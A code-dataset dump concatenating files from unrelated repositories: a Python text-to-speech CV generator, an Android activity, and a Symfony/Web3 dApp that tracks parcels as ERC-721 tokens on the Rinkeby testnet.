// destination: `http://127.0.0.1:3000/api/:slug*`, // Proxy to Backend
// },
// ];
// },
builds: [{ src: '*.ts', use: '@vercel/node' }],
})
);
| beb59bc673084a951f964196e9ec2d77adaa1580 | [
"Markdown",
"TypeScript",
"JavaScript"
] | 106 | TypeScript | Ryoto-kubo/kanon-code-front | 8b04515c0b58f9c56c5898b6492615b8eca707ee | 7b533582e407e0d7b87556855cb0df2d7cda1661 |
refs/heads/master | <file_sep>#Creating a document with python
from docx import Document
from docx.shared import Inches
#Add text speech
import pyttsx3
def speak(text):
pyttsx3.speak(text)
document = Document()
# Adding a profile picture
"""document.add_picture(
"me.png",
width = Inches(2.0)
)"""
# Name, Phone Number, Email
speak("What is your name?")
name = input("What is your name? ")
speak("Hello" + name + " Hope you are having a good day today")
speak("What is your phone number?")
phone_number = input("What is your phone number? ")
speak("Please enter your email address: ")
email_addy = input("Please enter your email address: ")
document.add_paragraph(
name + " | " + phone_number + " | " + email_addy)
# About me
document.add_heading("About Me")
speak("Tell me about yourself")
document.add_paragraph(
input("Tell me about yourself: ")
)
# work experience
document.add_heading("Work Experience")
p = document.add_paragraph()
speak("Tell me about your work history: ")
speak("Enter a company: ")
company = input("Enter Company: ")
speak("Enter you start and end date at " + company)
start_date = input("Start Date: ")
end_date = input("End Date: ")
p.add_run(company + " ").bold = True
p.add_run(start_date + "-" + end_date + "\n").italic = True
speak("Describe your experience at " + company + ":")
experience_detail = input("Describe your experience at " + company + ": ")
p.add_run(experience_detail)
# more work experience
while True:
speak("Do you have more work experiences? Yes or No: ")
has_more_experience = input("Do you have more work experience? Yes or No: ")
if has_more_experience.lower() == "yes":
p = document.add_paragraph()
speak("Enter another company: ")
company = input("Enter Company: ")
speak("Enter you start and end date at " + company)
start_date = input("Start Date: ")
end_date = input("End Date: ")
p.add_run(company + " ").bold = True
p.add_run(start_date + "-" + end_date + "\n").italic = True
speak("Describe your experience at " + company + ":")
experience_detail = input("Describe your experience at " + company + ": ")
p.add_run(experience_detail)
else:
break
#Skills
document.add_heading("Skills")
speak("Enter a skill: ")
skill = input("Enter a skill: ")
p = document.add_paragraph(skill)
p.style = "List Bullet"
while True:
speak("Do you have another skill? Yes or No: ")
has_more_skills = input("Do you have another skill? Yes or No: ")
if has_more_skills.lower() == "yes":
speak("Enter a skill: ")
skill = input("Enter a skill: ")
p = document.add_paragraph(skill)
p.style = "List Bullet"
else:
break
#footer
"""section = document.sections[0]
footer = section.footer
p = footer.paragraph[0]
p.text = "CV generated using Amigoscode and Intuit Quickbooks project"
"""
document.save("cv.docx")
| 52609870fbb3039d35c0b670275bb50cd5bc3c5a | [
"Python"
] | 1 | Python | EliasK2015/LearningTTS.py | 8c426d735bfd510b0503c4bf885afb6dc2eb29b4 | 772ba9c60aae376b28d61d1aef37b0df8b738855 |
refs/heads/master | <repo_name>jishnu234/ModernUI<file_sep>/app/src/main/java/com/example/modernuiwithanimation/MainActivity.java
package com.example.modernuiwithanimation;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.view.WindowManager;
import android.widget.Button;
public class MainActivity extends AppCompatActivity implements View.OnClickListener {
Button dashboardStart;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN);
setContentView(R.layout.activity_main);
dashboardStart=findViewById(R.id.dashbord_button);
dashboardStart.setOnClickListener(this);
}
@Override
public void onClick(View v) {
Intent intent=new Intent(MainActivity.this,DashBoardScreen.class);
startActivity(intent);
overridePendingTransition(R.anim.fade_in,R.anim.fade_out);
}
}
<file_sep>/settings.gradle
rootProject.name='ModernUIwithAnimation'
include ':app'
| 316bad07db24379f70c34cdba9636822270981b7 | [
"Java",
"Gradle"
] | 2 | Java | jishnu234/ModernUI | 3c3e154f84b824e2759f1f11c3555e191ba789c1 | fe4724fabf599c09be0657ea32f32931b0ef71b2 |
refs/heads/master | <repo_name>darunabas/protea<file_sep>/code/phylosignal_phenology.R
rm(list = ls())
# First read in the arguments listed at the command line
args=(commandArgs(TRUE))
library(picante)
library(ape)
library(phylobase)
library(adephylo)
library(phytools)
m <- read.csv("data/species_model_coefficients.csv", stringsAsFactors = FALSE)
m$species <- gsub(" ", "_", as.character(m$species))
row.names(m) <- m[,1]
m1 <- m[,8, drop=FALSE]
t1 <- read.nexus("data/Protea_phylogeny.tre")
subphy <- match.phylo.data(t1, m1)$phy
subdat <- match.phylo.data(t1, m1)$data
# 1. Moran's I
# Combine both the phylogenetic and trait data into one file
phylotraits <- phylo4d(subphy, subdat)
# Run a Moran test using some Monte Carlo simulations (default is 999 randomizations)
moran.test <- abouheif.moran(phylotraits, method="Abouheif", nrepet = 999)
moran.test
# 2. Abouheif's Cmean
# Combine both the phylogenetic and trait data into one file
phylotraits <- phylo4d(subphy, subdat)
abouheif.test <- abouheif.moran(phylotraits, method="oriAbouheif")
abouheif.test
# 3. Pagel's λ
# First, you need to define which trait you want to test and give names to each value according to species
trait <- subdat[,1]
names(trait) <- rownames(subdat)
phylosig(subphy, trait, method="lambda", test=TRUE, nsim=1000)
# 4. Blomberg's K
# First, you need to define which trait you want to test and give names to each value according to species
trait <- subdat[,1]
names(trait) <- rownames(subdat)
# We do the test with 999 randomizations:
phylosig(subphy, trait, method="K", test=TRUE, nsim=1000)
<file_sep>/README.md
# Protea phenology and climate
This repository includes R code and data to accompany the journal article: <NAME>., <NAME>., <NAME>. & <NAME>. (2019) Temperature controls phenology in continuously flowering Protea species of subtropical Africa. _Applications in Plant Sciences_ __7__: e1232 [doi: 10.1002/aps3.1232](https://doi.org/10.1002/aps3.1232)
<file_sep>/code/functions.R
# sliding window calculations of peak and low flowering seasons, seasonality, and day of flowering year
flowering_year <- function(j, # vectory of julian days in range 1:365
peak_mos=3, # length of peak flowering season, in months
low_mos=6 # length of low flowering season, in months
){
# wrapped sliding window observation counts for every day of year
counts_peak <- c()
counts_low <- c()
ji <- j
for(i in 1:365){
counts_peak <- rbind(counts_peak, sum(ji %in% 1:(30*peak_mos)))
counts_low <- rbind(counts_low, sum(ji %in% 1:(30*low_mos)))
ji <- ji - 1
ji[ji==0] <- 365
}
# peak -- center of window with max observations
peak <- which(counts_peak==max(counts_peak))
if(length(peak)>1) warning("Multiple windows tied for peak flowering -- returning the earliest one")
peak <- peak[1] + peak_mos * 30 / 2
peak[peak>365] <- peak[peak>365] - 365
# low -- center of window with min observations
low <- which(min(counts_low)==counts_low)
if(length(low)>1) warning("Multiple windows tied for low flowering -- returning the earliest one")
low <- low[1] + low_mos * 30 / 2
low[low>365] <- low[low>365] - 365
# normalized version of julian day based on low season
dofy <- j - low
dofy[dofy < 1] <-dofy[dofy < 1] + 365
# index of how restricted flowering is
aseasonality <- min(counts_low) / max(counts_peak)
list(peak=peak, # julian day of the center of peak flowering season
low=low, # julian day of the center of low flowering season
aseasonality=aseasonality, # aseasonality index, lower values are higher seasonality
dofy=dofy) # day of flowrering year, i.e. julian days after center of low flowering season
}
# This function summarizes climate for a portion of the focal year trailing a focal date
# Its odd API is designed to be used in conjunction with raster::calc
window_anomaly <- function(x, # a vector of the focal year, focal julian day, and then followed by climate time series
lag=0, # vector of month offsets. 0 for the focal month, 1:3 for the three mos preceeding, etc
fun=mean,
start_year=1950, # these must match the climate data date range
end_year=2010
){
# sort components
if(is.na(x[3])) return(NA)
y <- x[1]
j <- x[2]
x <- x[3:length(x)]
if(y < start_year+1 | y > end_year-1) return(NA) # buffer needed so offsets can spill into adjoining years
# monthly means
x <- matrix(x, ncol=length(x)/12)
m <- apply(x, 1, mean)
# anomalies
x <- x[,y-start_year+1 + c(-1,0,1)] # isolate data from focal year and neighbors
x <- x - cbind(m, m, m) # compute anomaly
x <- as.vector(x) # 36-month window, needed so offsets can spill into adjoining years
# isolate values for focal months
j <- floor(j/365*12)
x <- x[j-lag+12]
fun(x)
}
# derive spatial and temporal climate anomalies for each occurrence
anomalies <- function(points, # SpatialPointsDataFrame of occurrences for one species
climate, # year-by-month climate time series raster stack
varname, # label to identify climate variable in output
... # arguments passed to window_anomaly
){
require(raster)
# extract climate time series for each occurrence point
clim <- extract(climate, points)
# calculate raw temporal anomaly using window_anomaly function
points$temporal_anomaly <- apply(cbind(points$year, points$anchor_month, clim), 1, FUN=window_anomaly, ...)
# center spatial and temporal anomalies on zero
mean_clim <- apply(clim, 1, FUN=mean, na.rm=T)
if(varname=="precipitation") mean_clim <- log10(mean_clim)
demean <- function(x) x - mean(x, na.rm=T)
points$spatial_anomaly <- demean(mean_clim)
points$temporal_anomaly <- demean(points$temporal_anomaly)
# append variable name to new columns
names(points)[names(points)=="spatial_anomaly"] <- paste0(varname, "_spatial_anomaly")
names(points)[names(points)=="temporal_anomaly"] <- paste0(varname, "_temporal_anomaly")
# return the input SpatialPointsDataFrame, with two new columns
return(points)
}
<file_sep>/code/analysis.R
library(raster)
library(tidyverse)
# load functions
source("code/functions.R")
# load protea occurrences and climate rasters
d <- read.csv("data/protea_records_cleaned.csv", stringsAsFactors = F)
temp <- stack("data/temperature.tif")
precip <- stack("data/precipitation.tif")
# calculate flowering year variables
d <- split(d, d$species) %>%
lapply(function(x){
fy <- flowering_year(x$julian, peak_mos=3, low_mos=6)
x$peak <- fy$peak
x$low <- fy$low
x$aseasonality <- fy$aseasonality
x$dofy <- fy$dofy
return(x)
}) %>%
do.call("rbind", .) %>%
mutate(anchor_month = peak)
# calculate spatial and temporal anomalies
coordinates(d) <- c("lon", "lat")
d <- split(d, d$species) %>%
lapply(anomalies, climate=temp_rst, varname="temperature", lag=-8:3) %>%
lapply(anomalies, climate=ppt_rst, varname="precipitation", lag=-8:3) %>%
lapply(as.data.frame) %>%
do.call("rbind", .) %>%
na.omit() %>%
group_by(species) %>%
mutate(dofy_anomaly = dofy - mean(dofy))
## mixed effects model predicting flowering date
# full model. REML=F to allow model testing.
mfull <- lmer(dofy_anomaly ~ temperature_spatial_anomaly + precipitation_spatial_anomaly + temperature_temporal_anomaly + precipitation_temporal_anomaly +
(0 + temperature_spatial_anomaly + precipitation_spatial_anomaly + temperature_temporal_anomaly + precipitation_temporal_anomaly|species),
data=d, REML=F)
# four reduced models
mtn <- lmer(dofy_anomaly ~ precipitation_spatial_anomaly + temperature_temporal_anomaly + precipitation_temporal_anomaly +
(0 + precipitation_spatial_anomaly + temperature_temporal_anomaly + precipitation_temporal_anomaly|species),
data=d, REML=F)
mpn <- lmer(dofy_anomaly ~ temperature_spatial_anomaly + temperature_temporal_anomaly + precipitation_temporal_anomaly +
(0 + temperature_spatial_anomaly + temperature_temporal_anomaly + precipitation_temporal_anomaly|species),
data=d, REML=F)
mta <- lmer(dofy_anomaly ~ temperature_spatial_anomaly + precipitation_spatial_anomaly + precipitation_temporal_anomaly +
(0 + temperature_spatial_anomaly + precipitation_spatial_anomaly + precipitation_temporal_anomaly|species),
data=d, REML=F)
mpa <- lmer(dofy_anomaly ~ temperature_spatial_anomaly + precipitation_spatial_anomaly + temperature_temporal_anomaly +
(0 + temperature_spatial_anomaly + precipitation_spatial_anomaly + temperature_temporal_anomaly|species),
data=d, REML=F)
# log likelihood significance testing
anova(mtn, mfull)
anova(mta, mfull)
anova(mpn, mfull)
anova(mpa, mfull)
| 6f24e1957c7469228c60c30791518d8a5a4ace05 | [
"Markdown",
"R"
] | 4 | R | darunabas/protea | fe28fa20560a0955c88993146591a23fa2c9fdef | 37c40389ac87c519633999cb99dd223a26ef3dec |
refs/heads/master | <repo_name>thedeadzone/BlockTrack<file_sep>/public/js/delivery_detail.js
function startOthers() {
let slug = $('#slug').data('slug');
let token = '';
let targetId = '';
let html = '<div class="progress-bar" role="progressbar" style="width: 100%">In Transport</div>';
let house = '';
myContract.getToken(slug, function (error, result) {
if (!error) {
if (result.length !== 0) {
token = result;
myContract.handOff({tokenId: slug}, {fromBlock: 0, toBlock: 'latest'}).get(function (error, result) {
if (!error) {
if (result.length !== 0) {
let i = 0;
for (i = result.length - 1; i >= 0; i--) {
house = '';
if (result[i]['args']['delivered'] === true) {
house = '<i class="fas fa-home"></i>';
html = '<div class="progress-bar bg-success" role="progressbar" style="width: 100%">Delivered</div>';
}
let date = new Date(result[i]['args']['time'] * 1000);
$('.page-content-2 #first-list').append(
'<li>' +
'<span></span>' +
'<div class="title token-2-' + i + '" tabindex="0" data-trigger="focus">' + result[i]["args"]["receiverName"] + ' ' + house + '</div>' +
'<div class="info">' + result[i]["args"]["location"] + '</div>' +
'<div class="name token-3-' + i + '" tabindex="0" data-trigger="focus">' + date.toLocaleTimeString("en-us", timeOptions) + '</div>' +
'</li>');
$('.token-2-' + i).popover({
content: "<a target='_blank' href='https://rinkeby.etherscan.io/address/" + result[i]['args']['owner'] + "'>" + result[i]['args']['owner'] + "</a>",
html: true,
placement: "bottom"
});
$('.token-3-' + i).popover({
content: "<a target='_blank' href='https://rinkeby.etherscan.io/tx/" + result[i]['transactionHash'] + "'>" + result[i]['transactionHash'] + "</a>",
html: true,
placement: "bottom"
});
}
myContract.ownerOf.call(slug, function (error, result) {
if (!error && result.length !== 0) {
if (result === web3.eth.accounts[0]) {
$('.page-content-1').append(
'<div class="card border" data-token-id="' + slug + '">' +
'<div class="card-body">' +
'<h5 class="card-title">Parcel ' + slug + '</h5>' +
'<p class="card-subtitle text-muted last-update-text">Delivery address:</p>' +
'<p class="card-text text-muted">' + token[3] + '</p>' +
'</div>' +
'<div class="card-footer bg-transparent">' +
'<a id="activate-scanner" data-toggle="modal" data-target="#scannerModal" href="#" class="button button-lg align-center-transfer">Transfer</a>' +
'</div>' +
'</div>');
$('#activate-scanner').on('click', function () {
activateScanner();
});
} else {
$('.page-content-1').append(
'<div class="card border" data-token-id="' + slug + '">' +
'<div class="card-body">' +
'<h5 class="card-title">Parcel ' + slug + '</h5>' +
'<p class="card-subtitle text-muted last-update-text">Delivery address:</p>' +
'<p class="card-text text-muted">' + token[3] + '</p>' +
'</div>' +
'<div class="card-footer bg-transparent">' +
'<div class="progress">' +
html +
'</div>' +
'</div>' +
'</div>');
}
}
});
} else {
console.log('No data');
}
} else
console.error(error);
});
} else {
console.log('No data');
}
} else {
console.error(error);
}
});
function activateScanner() {
let scanner = new Instascan.Scanner({video: document.getElementById('preview')});
scanner.addListener('scan', function (content) {
if (web3.isAddress(web3.toChecksumAddress(content))) {
myContract.allowedToReceive(slug, content, function (error, result) {
console.log(result);
if (!error) {
if (result) {
scanner.stop();
targetId = content;
$('#scannerModal .modal-body video').toggleClass('hidden');
$('#scannerModal .modal-footer #transfer-close').toggleClass('hidden');
$('#scannerModal .modal-footer #transfer-deny').toggleClass('hidden');
$('#scannerModal .modal-footer #transfer-confirm').toggleClass('hidden');
$('#scannerModal .modal-body').append(
'<div class="transfer-content">' +
'<p class="align-center">Are you sure this is the right address?</p>' +
'<p class="align-center" id="transfer-id">' + content + '</p>' +
'</div>');
ActivateTriggers();
} else {
let alert =
$('<div class="alert alert-danger alert-dismissable">' +
'<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>' +
'<p class="alert-top">This address is not allowed to receive the parcel: </p><p class="long-address"><small>'+ content +'</small></p></div>');
alert.appendTo("#alerts");
alert.slideDown();
setTimeout(function () {
alert.slideToggle();
}, 5000);
}
}
});
} else {
let alert =
$('<div class="alert alert-danger alert-dismissable">' +
'<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>' +
'<p class="alert-top">This is not a correct address: </p><p class="long-address"><small>'+ content +'</small></p></div>');
alert.appendTo("#alerts");
alert.slideDown();
setTimeout(function () {
alert.slideToggle();
}, 5000);
}
});
Instascan.Camera.getCameras().then(function (cameras) {
if (cameras.length > 0) {
if (cameras[1]) {
scanner.mirror = false;
scanner.start(cameras[1]);
} else {
scanner.mirror = false;
scanner.start(cameras[0]);
}
} else {
console.error('No cameras found.');
}
}).catch(function (e) {
console.error(e);
});
function ActivateTriggers() {
$('#transfer-confirm').on('click', function () {
myContract.transferTokenTo(targetId, slug, {
from: web3.eth.accounts[0],
gas: 200000,
gasPrice: 2000000000
}, function (error, result) {
if (!error) {
var url = $('.url-finish-transfer').data('url');
$('#scannerModal .modal-footer #transfer-deny').toggleClass('hidden');
$('#scannerModal .modal-footer #transfer-confirm').toggleClass('hidden');
$('#scannerModal .modal-body .transfer-content').empty();
$('#scannerModal .modal-footer #transfer-close').toggleClass('hidden');
$('#scannerModal .modal-body').append(
'<div class="alert alert-primary">' +
'Parcel <u id="transfer-hash">transferred!</u> Results will be reflected in ~30 seconds.' +
'</div>');
$('#transfer-close').on('click', function () {
window.location.replace(url);
});
$('#transfer-hash').popover({
content: "<a target='_blank' href='https://rinkeby.etherscan.io/tx/" + result + "'>" + result + "</a>",
html: true,
placement: "bottom"
});
console.log(result);
console.log("https://rinkeby.etherscan.io/tx/" + result);
} else {
// console.error(error);
}
}
);
});
$('#transfer-deny').on('click', function () {
scanner.start();
$('#scannerModal .modal-footer #transfer-deny').toggleClass('hidden');
$('#scannerModal .modal-footer #transfer-confirm').toggleClass('hidden');
$('#scannerModal .modal-body .transfer-content').empty();
$('#scannerModal .modal-body video').toggleClass('hidden');
$('#scannerModal .modal-footer #transfer-close').toggleClass('hidden');
});
}
// TODO: checken of address klopt voor je functie uitvoert klopt
}
}<file_sep>/src/Controller/CustomerController.php
<?php
namespace App\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
class CustomerController extends AbstractController
{
/**
* @Route("/parcels");
*
* Shows all the parcels the receiver is receiving
*/
public function homeAction()
{
return $this->render('customer/index.html.twig', [
]);
}
/**
* @Route("/parcels/{slug}");
*
* Detail page of a single parcel with all it's information on it
*
* @param $slug
* @return Response
*/
public function detailAction($slug)
{
return $this->render('customer/detail.html.twig', [
'slug' => $slug,
]);
}
}<file_sep>/src/Controller/DeliveryController.php
<?php
namespace App\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
class DeliveryController extends AbstractController
{
/**
* @Route("/delivery");
*
* Shows all the parcels the delivery person has as owner currently
*/
public function homeAction()
{
return $this->render('delivery/index.html.twig', [
]);
}
/**
* @Route("/delivery/{slug}");
*
* Detail page of a single parcel with all it's information on it
*
* @param $slug
* @return Response
*/
public function detailAction($slug)
{
return $this->render('delivery/detail.html.twig', [
'slug' => $slug,
]);
}
}<file_sep>/truffle.js
var HDWalletProvider = require('truffle-hdwallet-provider');
var secret = require('./config/secret.js');
module.exports = {
networks: {
// rinkeby: {
// host: "127.0.0.1",
// port: 8545,
// network_id: "4",
// from: "0xf5c6acc651ef804471bd7c1f8a1fff04d7f19c9c",
// gas: 4600000
// }
rinkeby: {
provider: new HDWalletProvider(secret.MNEMONIC, 'https://rinkeby.infura.io/ALZ6zu5v1wM4s4xnMU7a'),
network_id: 4,
gas: 5000000
}
}
};
<file_sep>/public/js/main.js
window.addEventListener('load', function() {
// Checking if Web3 has been injected by the browser (Mist/MetaMask)
if (typeof web3 !== 'undefined') {
// Use Mist/MetaMask's provider
web3 = new Web3(web3.currentProvider);
} else {
// fallback - use your fallback strategy (local node / hosted node + in-dapp id mgmt / fail)
// web3 = new Web3(new Web3.providers.HttpProvider("http://localhost:8545"));
}
startApp();
});
let timeOptions = {
year: "numeric", month: "short",
day: "numeric", hour: "2-digit", minute: "2-digit"
};
function startApp() {
let coinbase = web3.eth.coinbase;
let account = web3.eth.accounts[0];
web3.eth.defaultAccount = web3.eth.accounts[0];
let network = getNetwork();
let accountInterval = setInterval(function () {
if (web3.eth.accounts[0] !== account) {
account = web3.eth.accounts[0];
location.reload();
}
}, 100);
//TODO: Check for right network or display stuff otherwise
// Hardcoded address to the contract being used
myContract = web3.eth.contract([
{
"constant": true,
"inputs": [],
"name": "name",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "_tokenId",
"type": "uint256"
}
],
"name": "getApproved",
"outputs": [
{
"name": "",
"type": "address"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_to",
"type": "address"
},
{
"name": "_tokenId",
"type": "uint256"
}
],
"name": "approve",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "totalSupply",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_from",
"type": "address"
},
{
"name": "_to",
"type": "address"
},
{
"name": "_tokenId",
"type": "uint256"
}
],
"name": "transferFrom",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "_owner",
"type": "address"
},
{
"name": "_index",
"type": "uint256"
}
],
"name": "tokenOfOwnerByIndex",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_from",
"type": "address"
},
{
"name": "_to",
"type": "address"
},
{
"name": "_tokenId",
"type": "uint256"
}
],
"name": "safeTransferFrom",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "_tokenId",
"type": "uint256"
}
],
"name": "exists",
"outputs": [
{
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "_index",
"type": "uint256"
}
],
"name": "tokenByIndex",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "_tokenId",
"type": "uint256"
}
],
"name": "ownerOf",
"outputs": [
{
"name": "",
"type": "address"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "_owner",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "owner",
"outputs": [
{
"name": "",
"type": "address"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "symbol",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_to",
"type": "address"
},
{
"name": "_approved",
"type": "bool"
}
],
"name": "setApprovalForAll",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_from",
"type": "address"
},
{
"name": "_to",
"type": "address"
},
{
"name": "_tokenId",
"type": "uint256"
},
{
"name": "_data",
"type": "bytes"
}
],
"name": "safeTransferFrom",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "_tokenId",
"type": "uint256"
}
],
"name": "tokenURI",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "_owner",
"type": "address"
},
{
"name": "_operator",
"type": "address"
}
],
"name": "isApprovedForAll",
"outputs": [
{
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "newOwner",
"type": "address"
}
],
"name": "transferOwnership",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "owner",
"type": "address"
},
{
"indexed": true,
"name": "receiver",
"type": "address"
},
{
"indexed": true,
"name": "tokenId",
"type": "uint256"
},
{
"indexed": false,
"name": "time",
"type": "uint64"
},
{
"indexed": false,
"name": "delivered",
"type": "bool"
},
{
"indexed": false,
"name": "delivererName",
"type": "string"
},
{
"indexed": false,
"name": "receiverName",
"type": "string"
},
{
"indexed": false,
"name": "location",
"type": "string"
}
],
"name": "handOff",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": false,
"name": "deliverer",
"type": "address"
},
{
"indexed": false,
"name": "name",
"type": "string"
},
{
"indexed": false,
"name": "company",
"type": "string"
}
],
"name": "delivererRegistered",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "previousOwner",
"type": "address"
},
{
"indexed": true,
"name": "newOwner",
"type": "address"
}
],
"name": "OwnershipTransferred",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "_from",
"type": "address"
},
{
"indexed": true,
"name": "_to",
"type": "address"
},
{
"indexed": false,
"name": "_tokenId",
"type": "uint256"
}
],
"name": "Transfer",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "_owner",
"type": "address"
},
{
"indexed": true,
"name": "_approved",
"type": "address"
},
{
"indexed": false,
"name": "_tokenId",
"type": "uint256"
}
],
"name": "Approval",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"name": "_owner",
"type": "address"
},
{
"indexed": true,
"name": "_operator",
"type": "address"
},
{
"indexed": false,
"name": "_approved",
"type": "bool"
}
],
"name": "ApprovalForAll",
"type": "event"
},
{
"constant": true,
"inputs": [
{
"name": "_tokenId",
"type": "uint256"
},
{
"name": "_receiver",
"type": "address"
}
],
"name": "allowedToReceive",
"outputs": [
{
"name": "allowed",
"type": "bool"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "_receiver",
"type": "address"
}
],
"name": "balanceOfReceiver",
"outputs": [
{
"name": "count",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "_tokenId",
"type": "uint256"
}
],
"name": "getToken",
"outputs": [
{
"name": "mintedAt",
"type": "uint64"
},
{
"name": "shippingCompany",
"type": "string"
},
{
"name": "receivingAddress",
"type": "address"
},
{
"name": "receivingPostalAddress",
"type": "string"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "_owner",
"type": "address"
}
],
"name": "tokensOfOwner",
"outputs": [
{
"name": "ownerTokens",
"type": "uint256[]"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "_receiver",
"type": "address"
}
],
"name": "parcelsOfReceiver",
"outputs": [
{
"name": "receiverParcels",
"type": "uint256[]"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_to",
"type": "address"
},
{
"name": "_tokenId",
"type": "uint256"
}
],
"name": "transferTokenTo",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_shippingCompany",
"type": "address"
},
{
"name": "_name",
"type": "string"
}
],
"name": "registerShippingCompany",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_deliverer",
"type": "address"
},
{
"name": "_name",
"type": "string"
},
{
"name": "_location",
"type": "string"
}
],
"name": "registerDeliverer",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_deliverer",
"type": "address"
},
{
"name": "_receivingAddress",
"type": "address"
},
{
"name": "_receivingPostalAddress",
"type": "string"
}
],
"name": "RegisterParcel",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
}
]).at('0x06bda1d3271bb6a0093077d1d251ca61bfdacbf0');
startOthers();
// myContract.totalSupply.call(function(error, result) {
// if (!error)
// console.log(JSON.stringify(result));
// else
// console.error(error);
// }
// );
//
// myContract.name.call(function(error, result) {
// if (!error)
// console.log(result);
// else
// console.error(error);
// }
// );
//
// web3.eth.getBalance(coinbase, function(error, result){
// if(!error)
// console.log(web3.fromWei(result.toNumber()), 'ether');
// else
// console.error(error);
// });
}
function getNetwork() {
let netId = web3.version.network;
switch (netId) {
case "1":
console.log('This is mainnet');
break;
case "2":
console.log('This is the deprecated Morden test network.');
break;
case "3":
console.log('This is the ropsten test network.');
break;
case "4":
console.log('This is the Rinkeby test network.');
break;
case "42":
console.log('This is the Kovan test network.');
break;
default:
console.log('This is an unknown network.')
}
return netId;
}
function isInt(value) {
return !isNaN(value) && (function(x) { return (x | 0) === x; })(parseFloat(value))
}<file_sep>/public/js/customer_detail.js
function startOthers() {
let slug = $('#slug').data('slug');
let token = '';
let html = '<div class="progress-bar" role="progressbar" style="width: 100%">In Transport</div>';
let house = '';
myContract.getToken(slug, function(error, result) {
if (!error) {
if (result.length !== 0) {
token = result;
myContract.handOff({tokenId: slug}, {fromBlock: 0, toBlock: 'latest'}).get(function (error, result) {
if (!error) {
if (result.length !== 0) {
let i = 0;
for (i = result.length - 1; i >= 0; i--) {
house = '';
if (result[i]['args']['delivered'] === true) {
house = '<i class="fas fa-home"></i>';
html = '<div class="progress-bar bg-success" role="progressbar" style="width: 100%">Delivered</div>';
}
let date = new Date(result[i]['args']['time'] * 1000);
$('.page-content-2 #first-list').append(
'<li>'+
'<span></span>' +
'<div class="title token-2-' + i + '" tabindex="0" data-trigger="focus">' + result[i]["args"]["receiverName"] + ' '+ house +'</div>'+
'<div class="info">' + result[i]["args"]["location"] + '</div>'+
